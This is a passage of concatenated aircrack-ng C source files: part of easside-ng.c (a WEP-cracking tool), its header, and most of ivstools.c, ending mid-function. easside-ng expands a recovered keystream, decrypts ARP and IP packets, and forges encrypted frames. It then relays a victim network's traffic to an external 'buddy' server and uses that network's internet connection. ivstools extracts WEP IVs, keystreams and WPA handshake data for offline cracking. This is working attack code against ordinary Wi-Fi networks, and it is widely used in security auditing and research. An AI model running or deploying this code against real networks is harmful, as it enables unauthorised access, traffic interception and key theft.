add_crc32(datas, dlen);
assert(es->es_prgalen >= dlen + 4);
xor(datas, datas, es->es_prga, dlen + 4);
send_frame(es, wh, data - buf + 4);
}
static void redirect_sendfrag(struct east_state * es, struct rpacket * rp)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
int dlen;
unsigned short * sp = (unsigned short *) wh->i_seq;
memset(buf, 0, sizeof(buf));
/* 802.11 header */
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
memcpy(wh->i_addr3, es->es_rtrmac, 6);
memset(wh->i_addr3, 0xff, 6);
*sp = fnseq(1, es->es_txseq);
dlen = rp->rp_len - sizeof(*wh);
memcpy(data, ((struct ieee80211_frame *) rp->rp_packet) + 1, dlen);
send_frame(es, wh, sizeof(*wh) + dlen);
}
static void redirect(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
struct rpacket * rp = get_head(es);
if (!rp) return;
if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return;
es->es_txseq++;
printf("Redirecting packet id %d len %d [qlen %d]\n",
rp->rp_id,
rp->rp_len,
queue_len(es));
/* rtt */
if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id))
{
es->es_rtt_id = rp->rp_id;
if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
}
/* fire fragz */
redirect_sendip(es, rp);
usleep(1 * 1000);
redirect_sendfrag(es, rp);
}
static void associated(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
switch (es->es_astate)
{
case AS_NOPRGA:
break;
case AS_PRGA_EXPAND:
expand_prga(es, tv);
break;
case AS_FIND_IP:
find_ip(es, tv);
break;
case AS_DECRYPT_ARP:
decrypt_arp(es, tv);
break;
case AS_DECRYPT_IP:
decrypt_ip(es, tv);
break;
case AS_FIND_RTR_MAC:
send_whohas(es, tv);
break;
case AS_CHECK_INET:
check_inet(es, tv);
break;
case AS_REDIRECT:
redirect(es, tv);
break;
default:
abort();
break;
}
}
static void buddy_inet_check(struct east_state * es)
{
REQUIRE(es != NULL);
struct
{
struct in_addr addr;
unsigned short id;
} __packed data;
struct timeval now;
int rtt;
REQUIRE(sizeof(data) == 6u);
if (recv(es->es_buddys, &data, sizeof(data), 0) != sizeof(data))
err(1, "buddy_inet_check: recv()");
if (es->es_astate != AS_CHECK_INET) return;
memcpy(&es->es_pubip, &data.addr, sizeof(es->es_pubip));
char const * const pubip = inet_ntoa(es->es_pubip);
printf("Internet w0rx. Public IP %s\n", pubip ? pubip : "<unknown>");
data.id = ntohs(data.id);
if (data.id != es->es_rpacket_id)
{
printf("seq doesn't match %d %d\n", data.id, es->es_rpacket_id);
return;
}
if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
rtt = msec_diff(&es->es_rtt, &now);
es->es_astate = AS_REDIRECT;
printf("Rtt %dms\n", rtt);
if (es->es_iponly) reset(es);
}
static void buddy_packet(struct east_state * es)
{
REQUIRE(es != NULL);
unsigned char buf[2048];
unsigned short * p = (unsigned short *) buf;
unsigned short id, len;
struct rpacket * rp;
struct ieee80211_frame * wh;
unsigned char * ptr;
int got = 0;
int rc;
if ((rc = recv(es->es_buddys, buf, 4, 0)) != 4)
{
if (rc == -1) err(1, "buddy_packet: recv() id & len");
printf("buddy_packet: recv id len got %d/%d\n", rc, 4);
exit(EXIT_FAILURE);
}
id = ntohs(*p);
p++;
len = ntohs(*p);
p++;
ALLEGE(len + 6 <= (int) sizeof(buf));
ptr = &buf[6];
got = 0;
while (got != len)
{
int rem = len - got;
rc = recv(es->es_buddys, ptr, rem, 0);
if (rc == -1) err(1, "buddy_packet: recv() packet");
got += rc;
ptr += rc;
}
if (es->es_astate != AS_REDIRECT) return;
printf_time("Got packet %d", id);
if (es->es_rtt_id == id)
{
struct timeval now;
int rtt;
if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
rtt = msec_diff(&es->es_rtt, &now);
es->es_rtt_id = 0;
printf(" rtt %dms", rtt);
if (es->es_srtt == 0)
es->es_srtt = rtt;
else
{
es->es_srtt += rtt;
es->es_srtt >>= 1;
}
if (es->es_srtt == 0) es->es_srtt = 1;
es->es_txto_redirect = es->es_srtt << 1;
if (es->es_txto_redirect < S_MIN_RTO) es->es_txto_redirect = S_MIN_RTO;
printf(" srtt %dms rto %dms", es->es_srtt, es->es_txto_redirect);
}
rp = get_packet(es, id);
if (!rp)
{
printf(" [not in queue]\n");
return;
}
wh = (struct ieee80211_frame *) rp->rp_packet;
memcpy(buf, get_da(wh), 6);
memcpy(&buf[6], get_sa(wh), 6);
len += 6;
if (ti_write(es->es_ti, buf, len) != len) err(1, "ti_write()");
remove_packet(es, id);
printf(" qlen %d\n", queue_len(es));
clear_timeout(es);
}
static void read_buddy(struct east_state * es)
{
REQUIRE(es != NULL);
unsigned short cmd;
int rc;
rc = recv(es->es_buddys, &cmd, sizeof(cmd), 0);
if (rc != sizeof(cmd)) err(1, "read_buddy: can't get cmd\n");
cmd = ntohs(cmd);
switch (cmd)
{
case S_CMD_INET_CHECK:
buddy_inet_check(es);
break;
case S_CMD_PACKET:
buddy_packet(es);
break;
default:
abort();
break;
}
}
static void read_tap(struct east_state * es)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
int dlen;
unsigned char * datas;
unsigned char dst[6];
struct timeval old;
memset(buf, 0, sizeof(buf));
dlen = ti_read(es->es_ti, data - 2, S_MTU + 14);
if (dlen == -1) err(1, "ti_read()");
memcpy(dst, data - 2, 6);
/* 802.11 header */
es->es_txseq++;
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
memcpy(wh->i_addr3, dst, 6);
/* iv */
memcpy(data, es->es_iv, 3);
data[3] = 0;
data += 4;
datas = data;
/* llc snap */
memcpy(data, S_LLC_SNAP, 6);
data += 8;
dlen = dlen - 14 + 8;
add_crc32(datas, dlen);
ALLEGE(es->es_prgalen >= dlen + 4);
xor(datas, datas, es->es_prga, dlen + 4);
printf_time("Sending frame from tap %d\n", dlen);
old = es->es_txlast;
send_frame(es, wh, sizeof(*wh) + 4 + dlen + 4);
es->es_txlast = old;
}
static void own(struct east_state * es)
{
REQUIRE(es != NULL);
fd_set rfds;
struct timeval tv, *tvp;
int maxfd;
if (es->es_prgalen) es->es_astate = AS_PRGA_EXPAND;
if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
for (;;)
{
FD_ZERO(&rfds);
maxfd = wi_fd(es->es_wi);
FD_SET(maxfd, &rfds);
memset(&tv, 0, sizeof(tv));
tvp = NULL;
if (es->es_buddys)
{
FD_SET(es->es_buddys, &rfds);
if (es->es_buddys > maxfd) maxfd = es->es_buddys;
}
if (es->es_astate > AS_PRGA_EXPAND && es->es_state == S_ASSOCIATED)
{
int tapfd = ti_fd(es->es_ti);
FD_SET(tapfd, &rfds);
if (tapfd > maxfd) maxfd = tapfd;
}
switch (es->es_state)
{
case S_SEARCHING:
if (!es->es_chanlock) chan_hop(es, &tv);
break;
case S_SENDAUTH:
send_auth(es, &tv);
break;
case S_SENDASSOC:
send_assoc(es, &tv);
break;
case S_ASSOCIATED:
associated(es, &tv);
break;
default:
abort();
break;
}
if (tv.tv_sec || tv.tv_usec) tvp = &tv;
if (select(maxfd + 1, &rfds, NULL, NULL, tvp) == -1) err(1, "select()");
if (FD_ISSET(wi_fd(es->es_wi), &rfds))
{
read_wifi(es);
}
if (es->es_buddys && FD_ISSET(es->es_buddys, &rfds)) read_buddy(es);
if (FD_ISSET(ti_fd(es->es_ti), &rfds)) read_tap(es);
}
}
static void usage(char * p)
{
UNUSED_PARAM(p);
char * version_info
= getVersion("Easside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n"
" %s - (C) 2007, 2008, 2009 Andrea Bittau\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: easside-ng <options>\n"
"\n"
" Options:\n"
"\n"
" -h : This help screen\n"
" -v <victim mac> : Victim BSSID\n"
" -m <src mac> : Source MAC address\n"
" -i <ip> : Source IP address\n"
" -r <router ip> : Router IP address\n"
" -s <buddy ip> : Buddy-ng IP address (mandatory)\n"
" -f <iface> : Interface to use (mandatory)\n"
" -c <channel> : Lock card to this channel\n"
" -n : Determine Internet IP only\n"
"\n",
version_info);
free(version_info);
}
static void load_prga(struct east_state * es)
{
REQUIRE(es != NULL);
int fd;
int rc;
fd = open(S_PRGA_LOG, O_RDONLY);
if (fd == -1) return;
rc = read(fd, es->es_iv, 3);
if (rc != 3)
{
printf("Can't read IV from %s\n", S_PRGA_LOG);
exit(EXIT_FAILURE);
}
rc = read(fd, es->es_prga, sizeof(es->es_prga));
if (rc == -1) err(1, "load_prga: read()");
es->es_prgalen = rc;
close(fd);
printf("Loaded %d PRGA bytes from %s\n", es->es_prgalen, S_PRGA_LOG);
}
int main(int argc, char * argv[])
{
int ch;
struct east_state * es = &_es;
init_defaults(es);
while ((ch = getopt(argc, argv, "hv:m:i:r:s:f:nc:")) != -1)
{
switch (ch)
{
case 'c':
es->es_chanlock = atoi(optarg);
break;
case 'f':
strncpy(es->es_ifname, optarg, sizeof(es->es_ifname) - 1);
es->es_ifname[sizeof(es->es_ifname) - 1] = 0;
break;
case 'v':
if (str2mac(es->es_apmac, optarg) == -1)
{
printf("Can't parse AP mac\n");
exit(EXIT_FAILURE);
}
break;
case 'm':
if (str2mac(es->es_mymac, optarg) == -1)
{
printf("Can't parse my mac\n");
exit(EXIT_FAILURE);
}
es->es_setmac = 1;
break;
case 'i':
if (!inet_aton(optarg, &es->es_myip))
{
printf("Can't parse my ip\n");
exit(EXIT_FAILURE);
}
break;
case 'r':
if (!inet_aton(optarg, &es->es_rtrip))
{
printf("Can't parse rtr ip\n");
exit(EXIT_FAILURE);
}
break;
case 's':
if (!inet_aton(optarg, &es->es_srvip))
{
printf("Can't parse srv ip\n");
exit(EXIT_FAILURE);
}
break;
case 'n':
es->es_iponly = 1;
break;
case 'h':
default:
usage(argv[0]);
exit(EXIT_SUCCESS);
}
}
if (es->es_srvip.s_addr == 0)
{
printf("Need at least server IP\n");
usage(argv[0]);
exit(EXIT_FAILURE);
}
load_prga(es);
open_wifi(es);
open_tap(es);
set_mac(es);
if (es->es_chanlock) set_chan(es);
if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)");
if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)");
printf_time("Ownin...\n");
own(es);
die("the end");
exit(EXIT_SUCCESS);
} |
C/C++ | aircrack-ng/src/easside-ng/easside.h | /*-
* Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
*
*/
#ifndef __EASSIDE_COMMON_H__
#define __EASSIDE_COMMON_H__
#define S_DEFAULT_PORT 6969
#define S_DEFAULT_UDP_PORT 6969
#define S_CMD_INET_CHECK 1
#define S_CMD_PACKET 2
#define S_HELLO_LEN 50
#endif /* __EASSIDE_COMMON_H__ */ |
C | aircrack-ng/src/ivstools/ivstools.c | /*
* IVS Tools - Convert or merge IVs
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine (pcap2ivs and mergeivs)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/osdep/byteorder.h"
#include "aircrack-ng/osdep/packed.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/ce-wep/uniqueiv.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/third-party/eapol.h"
#include "aircrack-ng/tui/console.h"
#define FAILURE -1
#define IVS 1
#define WPA 2
#define ESSID 3
#include "aircrack-ng/support/station.h"
/* bunch of global stuff */
static struct globals
{
struct AP_info *ap_1st, *ap_end;
struct ST_info *st_1st, *st_end;
unsigned char prev_bssid[6];
FILE * f_ivs; /* output ivs file */
} G;
static void usage(int what)
{
char * version_info
= getVersion("ivsTools", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n usage: ",
version_info);
free(version_info);
if (what == 0 || what == 1)
printf("ivstools --convert <pcap file> <ivs output file>\n"
" Extract ivs from a pcap file\n");
if (what == 0) printf(" ");
if (what == 0 || what == 2)
printf("ivstools --merge <ivs file 1> <ivs file 2> .. <output file>\n"
" Merge ivs files\n");
}
static int merge(int argc, char * argv[])
{
int i, n;
unsigned long nbw;
unsigned char buffer[1024];
FILE *f_in, *f_out;
struct ivs2_filehdr fivs2;
if (argc < 5)
{
usage(2);
return (EXIT_FAILURE);
}
// Check filenames are not empty
for (i = 2; i < argc - 1; ++i)
{
if (argv[i][0] == 0)
{
printf("Filename #%d is empty, aborting\n", i - 1);
return (EXIT_FAILURE);
}
}
printf("Creating %s\n", argv[argc - 1]);
if ((f_out = fopen(argv[argc - 1], "wb+")) == NULL)
{
perror("fopen failed");
return (EXIT_FAILURE);
}
nbw = 0;
for (i = 2; i < argc - 1; ++i)
{
printf("Opening %s\n", argv[i]);
if ((f_in = fopen(argv[i], "rb")) == NULL)
{
fclose(f_out);
perror("fopen failed");
return (EXIT_FAILURE);
}
if (fread(buffer, 1, 4, f_in) != 4)
{
fclose(f_out);
fclose(f_in);
perror("fread file header failed");
return (EXIT_FAILURE);
}
if (memcmp(buffer, IVSONLY_MAGIC, 4) == 0)
{
fclose(f_out);
fclose(f_in);
printf("%s is an old .ivs file\n", argv[i]);
return (EXIT_FAILURE);
}
if (memcmp(buffer, IVS2_MAGIC, 4) != 0)
{
fclose(f_out);
fclose(f_in);
printf("%s is not an .%s file\n", argv[i], IVS2_EXTENSION);
return (EXIT_FAILURE);
}
if (fread(&fivs2, 1, sizeof(struct ivs2_filehdr), f_in)
!= (size_t) sizeof(struct ivs2_filehdr))
{
fclose(f_out);
fclose(f_in);
perror("fread file header failed");
return (EXIT_FAILURE);
}
if (fivs2.version > IVS2_VERSION)
{
fclose(f_out);
fclose(f_in);
printf("Error, wrong %s version: %d. Supported up to version %d.\n",
IVS2_EXTENSION,
fivs2.version,
IVS2_VERSION);
return (EXIT_FAILURE);
}
if (i == 2)
{
(void) fwrite(buffer, 1, 4, f_out);
(void) fwrite(&fivs2, 1, sizeof(struct ivs2_filehdr), f_out);
}
while ((n = fread(buffer, 1, 1024, f_in)) > 0)
{
nbw += n;
(void) fwrite(buffer, 1, n, f_out);
printf("%lu bytes written\r", nbw);
}
fclose(f_in);
printf("\n");
}
fclose(f_out);
return (EXIT_SUCCESS);
}
// NOTE(jbenden): This is also in airodump-ng.c
static int dump_add_packet(unsigned char * h80211, unsigned caplen)
{
REQUIRE(h80211 != NULL);
int clen;
size_t dlen;
size_t i;
size_t n;
unsigned z;
struct ivs2_pkthdr ivs2;
unsigned char * p;
unsigned char bssid[6];
unsigned char stmac[6];
unsigned char clear[2048];
int weight[16];
int num_xor, o;
struct AP_info * ap_cur = NULL;
struct ST_info * st_cur = NULL;
struct AP_info * ap_prv = NULL;
struct ST_info * st_prv = NULL;
/* skip packets smaller than a 802.11 header */
if (caplen < sizeof(struct ieee80211_frame)) return (FAILURE);
/* skip (uninteresting) control frames */
if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL)
return (FAILURE);
/* locate the access point's MAC address */
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
memcpy(bssid, h80211 + 16, 6); //-V525
break; // Adhoc
case IEEE80211_FC1_DIR_TODS:
memcpy(bssid, h80211 + 4, 6);
break; // ToDS
case IEEE80211_FC1_DIR_FROMDS:
case IEEE80211_FC1_DIR_DSTODS:
memcpy(bssid, h80211 + 10, 6);
break;
}
/* update our chained list of access points */
ap_cur = G.ap_1st;
ap_prv = NULL;
while (ap_cur != NULL)
{
if (!memcmp(ap_cur->bssid, bssid, 6)) break;
ap_prv = ap_cur;
ap_cur = ap_cur->next;
}
/* if it's a new access point, add it */
if (ap_cur == NULL)
{
if (!(ap_cur = (struct AP_info *) malloc(sizeof(struct AP_info))))
{
perror("malloc failed");
return (FAILURE);
}
memset(ap_cur, 0, sizeof(struct AP_info));
if (G.ap_1st == NULL)
G.ap_1st = ap_cur;
else
ap_prv->next = ap_cur;
memcpy(ap_cur->bssid, bssid, 6);
ap_cur->prev = ap_prv;
ap_cur->uiv_root = uniqueiv_init();
G.ap_end = ap_cur;
ap_cur->ssid_length = 0;
ap_cur->wpa_stored = 0;
ap_cur->essid_stored = 0;
}
#if 0
/* find wpa handshake */
if (h80211[0] == 0x10)
{
/* reset the WPA handshake state */
if (st_cur != NULL && st_cur->wpa.state != 0xFF) st_cur->wpa.state = 0;
}
#endif
/* locate the station MAC in the 802.11 header */
switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
{
case IEEE80211_FC1_DIR_NODS:
/* if management, check that SA != BSSID */
if (memcmp(h80211 + 10, bssid, 6) == 0) goto skip_station;
memcpy(stmac, h80211 + 10, 6);
break;
case IEEE80211_FC1_DIR_TODS:
/* ToDS packet, must come from a client */
memcpy(stmac, h80211 + 10, 6);
break;
case IEEE80211_FC1_DIR_FROMDS:
/* FromDS packet, reject broadcast MACs */
if (h80211[4] != 0) goto skip_station;
memcpy(stmac, h80211 + 4, 6);
break;
case IEEE80211_FC1_DIR_DSTODS:
goto skip_station;
}
/* update our chained list of wireless stations */
st_cur = G.st_1st;
st_prv = NULL;
while (st_cur != NULL)
{
if (!memcmp(st_cur->stmac, stmac, 6)) break;
st_prv = st_cur;
st_cur = st_cur->next;
}
/* if it's a new client, add it */
if (st_cur == NULL)
{
if (!(st_cur = (struct ST_info *) malloc(sizeof(struct ST_info))))
{
perror("malloc failed");
return (EXIT_FAILURE);
}
memset(st_cur, 0, sizeof(struct ST_info));
if (G.st_1st == NULL)
G.st_1st = st_cur;
else
st_prv->next = st_cur;
memcpy(st_cur->stmac, stmac, 6);
st_cur->prev = st_prv;
G.st_end = st_cur;
}
if (st_cur->base == NULL || memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
st_cur->base = ap_cur;
skip_station:
/* packet parsing: Beacon or Probe Response */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_BEACON
|| h80211[0] == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
{
p = h80211 + 36;
while (p < h80211 + caplen)
{
if (p + 2 + p[1] > h80211 + caplen) break;
if (p[0] == 0x00) ap_cur->ssid_length = p[1];
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
&& (p[1] > 1 || p[2] != ' '))
{
/* found a non-cloaked ESSID */
n = p[1];
memset(ap_cur->essid, 0, ESSID_LENGTH + 1);
memcpy(ap_cur->essid, p + 2, n);
if (G.f_ivs != NULL && !ap_cur->essid_stored)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags |= IVS2_ESSID;
ivs2.len += ap_cur->ssid_length;
if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(G.prev_bssid, ap_cur->bssid, 6);
}
/* write header */
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (EXIT_FAILURE);
}
/* write BSSID */
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (EXIT_FAILURE);
}
}
/* write essid */
if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
!= (size_t) ap_cur->ssid_length)
{
perror("fwrite(IV essid) failed");
return (1);
}
ap_cur->essid_stored = 1;
return (ESSID);
}
for (i = 0; i < n; i++)
if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
ap_cur->essid[i] = '.';
}
p += 2 + p[1];
}
}
/* packet parsing: Association Request */
if (h80211[0] == IEEE80211_FC0_SUBTYPE_ASSOC_REQ && caplen > 28)
{
p = h80211 + 28;
while (p < h80211 + caplen)
{
if (p + 2 + p[1] > h80211 + caplen) break;
if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
&& (p[1] > 1 || p[2] != ' '))
{
/* found a non-cloaked ESSID */
n = (p[1] > 32) ? 32 : p[1];
memset(ap_cur->essid, 0, 33);
memcpy(ap_cur->essid, p + 2, n);
if (G.f_ivs != NULL && !ap_cur->essid_stored)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags |= IVS2_ESSID;
ivs2.len += ap_cur->ssid_length;
if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(G.prev_bssid, ap_cur->bssid, 6);
}
/* write header */
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (EXIT_FAILURE);
}
/* write BSSID */
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (EXIT_FAILURE);
}
}
/* write essid */
if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
!= (size_t) ap_cur->ssid_length)
{
perror("fwrite(IV essid) failed");
return (EXIT_FAILURE);
}
ap_cur->essid_stored = 1;
return (ESSID);
}
for (i = 0; i < n; i++)
if (ap_cur->essid[i] < 32
|| (ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160))
ap_cur->essid[i] = '.';
}
p += 2 + p[1];
}
}
/* packet parsing: some data */
if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA)
{
/* check the SNAP header to see if data is encrypted */
z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
? 24
: 30;
if (z + 26 > caplen) return (FAILURE);
// check if WEP bit set and extended iv
if ((h80211[1] & IEEE80211_FC1_WEP) != 0 && (h80211[z + 3] & 0x20) == 0)
{
/* WEP: check if we've already seen this IV */
if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
{
/* first time seen IVs */
if (G.f_ivs != NULL)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags = 0;
ivs2.len = 0;
dlen = caplen - 24 - 4 - 4; // original data len
if (dlen > 2048) dlen = 2048;
// get cleartext + len + 4(iv+idx)
num_xor = known_clear(clear, &clen, weight, h80211, dlen);
if (num_xor == 1)
{
ivs2.flags |= IVS2_XOR;
ivs2.len += clen + 4;
/* reveal keystream (plain^encrypted) */
for (n = 0; n < (size_t) (ivs2.len - 4); n++)
{
clear[n] = (uint8_t) ((clear[n] ^ h80211[z + 4 + n])
& 0xFF);
}
// clear is now the keystream
}
else
{
// do it again to get it 2 bytes higher
num_xor = known_clear(
clear + 2, &clen, weight, h80211, dlen);
ivs2.flags |= IVS2_PTW;
// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
clear[0] = (uint8_t) num_xor;
clear[1] = (uint8_t) clen;
/* reveal keystream (plain^encrypted) */
for (o = 0; o < num_xor; o++)
{
for (n = 0; n < (size_t) (ivs2.len - 4); n++)
{
clear[2 + n + o * 32]
= (uint8_t) ((clear[2 + n + o * 32]
^ h80211[z + 4 + n])
& 0xFF);
}
}
memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
weight,
16 * sizeof(int));
// clear is now the keystream
}
if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(G.prev_bssid, ap_cur->bssid, 6);
}
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (EXIT_FAILURE);
}
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
{
perror("fwrite(IV bssid) failed");
return (EXIT_FAILURE);
}
ivs2.len -= 6;
}
if (fwrite(h80211 + z, 1, 4, G.f_ivs) != (size_t) 4)
{
perror("fwrite(IV iv+idx) failed");
return (EXIT_FAILURE);
}
ivs2.len -= 4;
if (fwrite(clear, 1, ivs2.len, G.f_ivs)
!= (size_t) ivs2.len)
{
perror("fwrite(IV keystream) failed");
return (EXIT_FAILURE);
}
}
uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
return (IVS);
}
}
z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
? 24
: 30;
if (z + 26 > caplen) return (FAILURE);
z += 6; // skip LLC header
/* check ethertype == EAPOL */
if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
&& (h80211[1] & 0x40) != 0x40)
{
z += 2; // skip ethertype
if (st_cur == NULL) return (FAILURE);
/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) == 0)
{
memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
st_cur->wpa.state = 1;
}
/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
if (z + 17 + 32 > caplen) return (FAILURE);
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
&& (h80211[z + 6] & 0x80) == 0 && (h80211[z + 5] & 0x01) != 0)
{
if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
{
memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
st_cur->wpa.state |= 2;
}
}
/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) != 0
&& (h80211[z + 6] & 0x80) != 0 && (h80211[z + 5] & 0x01) != 0)
{
st_cur->wpa.eapol_size
= (h80211[z + 2] << 8) + h80211[z + 3] + 4u;
if (st_cur->wpa.eapol_size == 0 //-V560
|| st_cur->wpa.eapol_size >= sizeof(st_cur->wpa.eapol) - 16)
{
// ignore packet trying to crash us
st_cur->wpa.eapol_size = 0;
return (EXIT_SUCCESS);
}
if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
{
memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
st_cur->wpa.state |= 4;
}
memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
memcpy(st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
memset(st_cur->wpa.eapol + 81, 0, 16);
st_cur->wpa.state |= 8;
st_cur->wpa.keyver = (uint8_t) (h80211[z + 6] & 7);
if (st_cur->wpa.state == 15)
{
memcpy(st_cur->wpa.stmac, st_cur->stmac, 6);
if (G.f_ivs != NULL)
{
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags = 0;
ivs2.len = sizeof(struct WPA_hdsk);
ivs2.flags |= IVS2_WPA;
if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
{
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
memcpy(G.prev_bssid, ap_cur->bssid, 6);
}
if (fwrite(
&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
return (EXIT_FAILURE);
}
if (ivs2.flags & IVS2_BSSID)
{
if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs)
!= (size_t) 6)
{
